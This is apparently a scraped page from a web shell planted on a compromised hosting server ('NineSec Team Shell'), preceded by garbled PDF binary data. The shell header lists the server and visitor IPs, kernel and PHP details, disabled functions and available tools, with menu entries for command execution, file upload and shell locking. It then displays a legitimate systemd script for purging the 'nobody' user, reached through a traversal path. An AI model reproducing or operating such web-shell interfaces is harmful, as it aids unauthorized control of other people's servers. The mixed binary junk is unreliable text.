%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 82.180.170.48  /  Your IP : 3.17.157.68
Web Server : LiteSpeed
System : Linux us-phx-web1609.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
User : u636808025 ( 636808025)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/../lib/kernel/../modules/../systemd/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/../lib/kernel/../modules/../systemd/purge-nobody-user
#!/usr/bin/bash -eu

if [ $UID -ne 0 ]; then
    echo "WARNING: This script needs to run as root to be effective"
    exit 1
fi

export SYSTEMD_NSS_BYPASS_SYNTHETIC=1

if [ "${1:-}" = "--ignore-journal" ]; then
    shift
    ignore_journal=1
else
    ignore_journal=0
fi

echo "Checking processes..."
if ps h -u 99 | grep .; then
    echo "ERROR: ps reports processes with UID 99!"
    exit 2
fi
echo "... not found"

echo "Checking UTMP..."
if w -h 199 | grep . ; then
    echo "ERROR: w reports UID 99 as active!"
    exit 2
fi
if w -h nobody | grep . ; then
    echo "ERROR: w reports user nobody as active!"
    exit 2
fi
echo "... not found"

echo "Checking the journal..."
if [ "$ignore_journal" = 0 ] && journalctl -q -b -n10 _UID=99 | grep . ; then
    echo "ERROR: journalctl reports messages from UID 99 in current boot!"
    exit 2
fi
echo "... not found"

echo "Looking for files in /etc, /run, /tmp, and /var..."
if find /etc /run /tmp /var -uid 99 -print | grep -m 10 . ; then
    echo "ERROR: found files belonging to UID 99"
    exit 2
fi
echo "... not found"

echo "Checking if nobody is defined correctly..."
if getent passwd nobody |
	grep '^nobody:[x*]:65534:65534:.*:/:/sbin/nologin';
then
    echo "OK, nothing to do."
    exit 0
else
    echo "NOTICE: User nobody is not defined correctly"
fi

echo "Checking if nfsnobody or something else is using the uid..."
if getent passwd 65534 | grep . ; then
    echo "NOTICE: will have to remove this user"
else
    echo "... not found"
fi

if [ "${1:-}" = "-x" ]; then
    if getent passwd nobody >/dev/null; then
	# this will remove both the user and the group.
	( set -x
   	  userdel nobody
	)
    fi

    if getent passwd 65534 >/dev/null; then
	# Make sure the uid is unused. This should free gid too.
	name="$(getent passwd 65534 | cut -d: -f1)"
	( set -x
	  userdel "$name"
	)
    fi

    if grep -qE '^(passwd|group):.*\bsss\b' /etc/nsswitch.conf; then
	echo "Sleeping, so sss can catch up"
	sleep 3
    fi

    if getent group 65534; then
	# Make sure the gid is unused, even if uid wasn't.
	name="$(getent group 65534 | cut -d: -f1)"
	( set -x
	  groupdel "$name"
	)
    fi

    # systemd-sysusers uses the same gid and uid
    ( set -x
      systemd-sysusers --inline 'u nobody 65534 "Kernel Overflow User" / /sbin/nologin'
    )
else
    echo "Pass '-x' to perform changes"
fi

NineSec Team - 2022